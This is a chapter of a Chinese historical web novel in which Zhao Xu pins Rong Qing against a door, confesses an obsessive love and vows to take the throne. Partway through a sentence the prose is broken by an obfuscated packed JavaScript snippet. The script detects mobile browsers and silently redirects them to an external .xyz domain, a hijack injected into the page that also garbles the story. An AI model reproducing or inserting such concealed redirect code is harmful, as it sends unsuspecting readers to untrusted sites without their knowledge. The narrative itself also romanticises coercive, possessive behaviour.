一推开门,便见赵珝靠在桌案边缘,一动不动,眼睛望向某个不知名的地方,似乎在沉思什么。 “你来作甚?” 容倾站在门口,并未入内,冷声问道。 赵珝听见他的声音, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365973|182812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身子一震,才回过神来,对容倾笑笑:“姐姐,你来了。” 容倾道:“叫我名字,我有名字,要么就和别人一样,称呼我的官职。” “姐姐,我们来谈一谈罢。”赵珝只耳不闻,缓步走上前,朝容倾身后的阿六使眼色。 阿六抓耳挠腮了片刻,咬咬牙,退了出去,哐啷一声关了门。 “有什么好谈的?你在辽东军,离此事最近,查得最深,可以说除了始作俑者,就是你赵珝。你要搅浑水,便让四喜下江南,把消息传递给了沈廷琛,也恰好引我入局……”容倾神色淡淡,看也不看赵珝一眼,“你想做什么?留在京师?祸水东引、拖延婚期?还是——” “若我真的是为了你,你信吗?” 赵珝打断他的话,微微弯下腰,与他对视。 “人不为己,天诛地灭。”容倾冷笑一声,“我凭什么信一个人会无缘无故地为了我?” 容倾的冷漠似乎彻底刺痛了赵珝。 青年上前一步,将他牢牢抵在门上,手不容拒绝地一扯,露出领口下未褪的红痕。几乎是一瞬间,赵珝的眼眶红了,他颤抖着手,轻轻抚上那些红得近乎发紫的痕迹。 “你非要这样么?”容倾屏住了呼吸,平静的脸终于露出一丝裂缝,他的身子在颤抖,他又想起那日在值房里的事,脑海乱成一团。 而赵珝只是轻轻握住了他的脖颈,死死盯着那些痕迹,哑着嗓子问:“你怎么出来的?在榻上求他吗?为什么?为他么?他不值得你……” “你就值得吗?”容倾只觉浑身无力,“你是我的亲人……我一直把你当成孩子,但你长大了,故而我也在劝自己——” “孩子会想亲你么?”赵珝额头抵着他的额头,说出的话一句比一句露骨,“孩子会做关于你的春梦么?孩子会把你压在身下……” “住口!” 赵珝闭上嘴,居高临下看着容倾,看他气得薄红的脸,看他素白的身子和点点红痕。年幼时,他渴望与容倾亲密,仅仅需要摸摸头、抱一抱,就够了;但长大后,却完全变了样,他有了欲望,想与容倾紧紧贴着,想与容倾亲近……可很快他发觉,哪怕能与容倾交融,也得不到容倾的全部,那需要一个全天下人都趋之若鹜的东西—— 权力。 “你问我想做什么,好,我说。我是为你而来的,给你送功劳、送清白,来把你从他身边抢走。他对你一点也不好,从来没把你当成一个人。他根本不在乎你痛不痛、累不累……而我在乎,容倾,我比谁都在乎,我一想到你,我便高兴得什么都忘了,我想哭,我以为我拥有着天底下最好的人、最在乎我的人……” 他紧紧抱住容倾。 “我在辽东,从一个小兵当起,一无所有,受尽折磨,每日每夜都担心自己会死,害怕再也见不到你……我才发觉没了皇子的身份,我什么也不是,不过天地间的一粒尘埃。我在辽东的军功,是我亲自挣来的,与我的身份,无一点干系……吴怀英听我的命令,是因为他信任我;将士们听我的号召,也是因为他们佩服我……我头一次感受到能实际抓在手里的东西,我明白,你喜欢这个东西,他也喜欢这个东西,所有人都喜欢……但我更喜欢你。” “如果天底下能让你依附的人只有他,那我不介意……取而代之。” “那把椅子,他赵瞻坐得,我赵珝也坐得。” “等到那一天,普天之下,还有谁能让你这样委屈求全?还有谁敢在你身上留下半点痕迹?到时候,你能看的、能依靠的、能选择的……” 他低下头,气息拂过容倾的耳畔,声音轻飘飘的,说出的话,却重若千钧: “就只有我一个人。” 容倾睁大了眼睛,胸口剧烈起伏。他被赵珝死死箍在怀里,整张脸都埋进了对方坚定的臂弯之中,看不清神情。他没有挣扎,也没有回应,只是在那令人窒息的拥抱里,极其缓慢地闭上了眼睛。